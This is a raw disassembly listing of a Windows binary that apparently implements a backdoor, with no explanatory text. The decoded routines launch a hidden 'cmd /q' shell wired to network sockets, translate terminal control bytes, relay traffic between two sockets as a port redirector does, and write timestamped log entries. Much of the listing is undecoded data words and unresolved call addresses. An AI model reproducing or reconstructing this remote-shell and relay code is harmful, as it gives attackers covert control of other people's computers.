458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AFA415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CB024h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEECh, 50E0458Dh dd 0D015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 0CC15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342DCh dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB038h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF84h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB03015h, 858D5000h dd 0FFFFFBECh, 43429868h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0E4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 0F482E850h, 8B900225h, 0C969B84Dh, 234h dd 8189C63Bh, 43DEF4h, 75391374h, 37850FC8h, 6AFFFFFFh dd 0F3C2E832h, 0EB900225h, 0CDE890EDh, 500225FCh, 43425C68h dd 45CEE800h, 59590000h, 7D8B03EBh, 3815FF08h, 50004CAFh dd 0FBEC858Dh, 2468FFFFh, 50004342h, 0AC15E8h, 0CC48300h dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB03C15h, 15FF5300h dd 4CB03Ch, 0AEFC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh dd 0F336E890h, 335B022Bh, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEEC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 call near ptr 2670914h nop push eax push offset unk_4343BC call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 nop call near ptr 2670914h push eax push offset unk_4343BC call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 2680981h loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2770E90h sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 2670914h push eax push offset unk_434388 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j nop call near ptr 2680981h push 1 push dword ptr [esi+8] nop call near ptr 26F0AF0h loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB03C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 2670914h push eax push offset unk_43446C jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 call near ptr 2670914h nop push eax push offset unk_43442C loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_434404 call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 2700000h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 2650BA1h nop test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEE8[eax], ecx nop call near ptr 26508EFh jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj call near ptr 2670914h nop push eax push offset unk_4344AC call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFF4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344EC call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAFBC test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx call near ptr 2780000h nop jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFF4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 26E0000h nop test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 0A415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CB02415h, 8BF88B00h, 0C069C445h, 234h dd 0ECB88953h, 8D0043DEh, 5750EC45h, 0AFD015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 0CC15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8F068FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB038h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B03015FFh, 8D50004Ch, 0FFFD2C85h, 459868FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEE4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 25ED73E8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEF48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 90056AFFh, 25ECB3E8h, 90EDEB02h dd 25F5BFE8h, 858D5002h, 0FFFFFD2Ch, 43455C68h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B03C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 434528h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0ECB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 8C15FFFFh, 85004CAFh, 0FF1875C0h, 3C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Bh, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAFBCh, 187FC085h dd 15FF36FFh, 4CB03Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h dd 90022BEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43466068h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFF415FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Bh, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0B02415FFh, 0F88B004Ch, 75FFFF83h, 3815FF5Dh, 50004CAFh dd 43462068h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFF415FFh dd 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Bh, 50106AE8h, 4C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF3815FFh, 6850004Ch, 4345DCh, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFF415h, 0FF36FF00h, 4CB03C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFF415h, 5736FF00h, 39E8h, 57595900h dd 0B03C15FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 2BE983E8h, 36FF9002h, 0B03C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 0E96AE890h ; --------------------------------------------------------------------------- sub eax, [edx] push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF8C lea eax, [ebp-104h] push eax push ebx call dword_4CAE90 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE90 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CB02415h, 83F08B00h, 5675FFFEh, 19068h, 15E89000h dd 390225E8h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh dd 50046AF0h, 0FFFFBFh, 57046A00h, 8415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 8415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEECh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AFA415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFD015FFh dd 0F883004Ch, 681975FFh, 1388h, 0E74EE890h, 8DFF0225h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 0E8000001h, 225E71Ch, 858D5390h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF8C15h, 0FC08500h, 2398Eh dd 0D158A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF7C15FFh, 75FF004Ch dd 0F84589C8h, 0B03015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CB00815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 4346CCh, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CB008h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 0AC68FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDAAC05h, 16EB5900h dd 8DF475FFh, 5350C445h, 0A068096Ah, 56004346h, 0B00815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB03C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Bh dd 3E8h, 0E3FAE890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax nop call near ptr 2780144h lea eax, [ebp-114h] push 104h push eax call near ptr 2660AB7h nop lea eax, [ebp-114h] push offset asc_434E8C ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E5C push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AF2815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 